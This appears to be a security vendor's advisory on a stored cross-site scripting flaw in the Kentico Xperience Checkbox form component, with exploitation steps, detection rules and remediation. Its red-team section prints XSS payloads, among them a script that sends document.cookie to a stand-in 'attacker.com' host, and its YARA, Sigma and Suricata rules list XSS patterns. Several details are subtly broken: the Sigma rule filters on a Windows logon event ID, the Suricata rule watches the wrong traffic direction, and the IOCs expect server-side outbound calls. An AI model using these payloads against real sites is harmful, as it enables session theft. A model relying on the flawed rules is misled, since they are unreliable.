CVE-2024-58323

Executive Summary

CVE-2024-58323 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience, a content management system (CMS). The flaw resides in the Checkbox form component, which improperly handles HTML input, allowing attackers to inject and store malicious scripts. When other users (including administrators) view the affected form, the injected script executes in their browsers, potentially leading to session hijacking, data theft, or further compromise. No official patch has been released, and no public proof-of-concept (PoC) or exploit code is available at this time. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct flaw in the Kentico Xperience CMS application.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned. However, based on the nature of the vulnerability (stored XSS), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a user account with form builder access.
• User Interaction (UI): Required (R) – The victim must view the compromised form.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires authenticated access to the form builder, but the impact can be significant if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability exists in the Checkbox form component of Kentico Xperience. The form builder allows users to add HTML content to form fields, including the Checkbox component. The application fails to properly sanitize or encode user-supplied HTML before storing it in the database. When the form is rendered for other users, the malicious HTML/JavaScript is executed in the context of the victim's browser.

Attack Flow:

1. An attacker with access to the form builder creates or edits a form containing a Checkbox component.
2. The attacker injects a malicious script (e.g., <script>alert('XSS')</script>) into the Checkbox's label or description field.
3. The script is stored in the database without sanitization.
4. When an administrator or other user views the form, the script executes, potentially stealing session cookies, redirecting to a phishing page, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation for HTML content in the Checkbox form component.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs user input without encoding
public string RenderCheckbox(string label)
{
    return $"<input type='checkbox' /> <label>{label}</label>";
}

Patched Code (Conceptual):

// Patched: Encodes user input to prevent XSS
public string RenderCheckbox(string label)
{
    string encodedLabel = HttpUtility.HtmlEncode(label);
    return $"<input type='checkbox' /> <label>{encodedLabel}</label>";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Kentico Xperience with form builder permissions.
• A target form with a Checkbox component.

Steps:

1. Log in to Kentico Xperience as a user with form builder access.
2. Navigate to the form containing the Checkbox component.
3. Edit the Checkbox component's label or description field.
4. Inject a payload such as:

   <img src=x onerror=alert(document.cookie)>
   

   or

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the form.
6. Wait for an administrator or other user to view the form. The script will execute in their browser.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual HTML or JavaScript content in form builder fields.
• Look for outbound connections to unknown domains from the Kentico server.
• Review web server logs for requests containing script tags or event handlers.

Prevention:

• Implement a Web Application Firewall (WAF) to block common XSS payloads.
• Enforce strict Content Security Policy (CSP) headers.
• Restrict form builder access to trusted users only.

Indicators of Compromise (IOCs)

• Network:

  • Outbound HTTP/HTTPS requests to unknown or suspicious domains from the Kentico server.
  • Requests containing base64-encoded or obfuscated JavaScript in form submission data.

• Host:

  • Unusual entries in the Kentico database CMS_Form or CMS_FormField tables containing script tags.
  • Modified Checkbox component fields with HTML event handlers (e.g., onerror, onload).

• Logs:

  • Web server logs showing POST requests to form builder endpoints with suspicious payloads.
  • Application logs indicating failed validation or encoding attempts.

Detection Engineering

YARA Rule

rule Detect_Kentico_XSS_Checkbox {
    meta:
        description = "Detects stored XSS payloads in Kentico Xperience Checkbox component"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58323"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]+onerror\s*=/i
        $xss3 = /<svg[^>]+onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Kentico Xperience Checkbox Component
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Kentico Xperience form builder logs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58323
logsource:
    category: application
    product: kentico
detection:
    selection:
        EventID: 4624
        Data|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-58323 Kentico Xperience Stored XSS Checkbox"; flow:to_server,established; content:"POST"; http_method; content:"/FormBuilder/"; http_uri; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTML support in the Checkbox form component if possible.
2. Restrict form builder access to only trusted administrators.
3. Implement a WAF with rules to block common XSS payloads.

Long-term Fix:

• Apply input validation and output encoding for all user-supplied HTML in form components.
• Upgrade to a patched version of Kentico Xperience once available.
• Conduct a security audit of all form components for similar vulnerabilities.

Workaround:

• Use a custom module or plugin to sanitize HTML input before storage.

Valters IT
Securing Digital Frontiers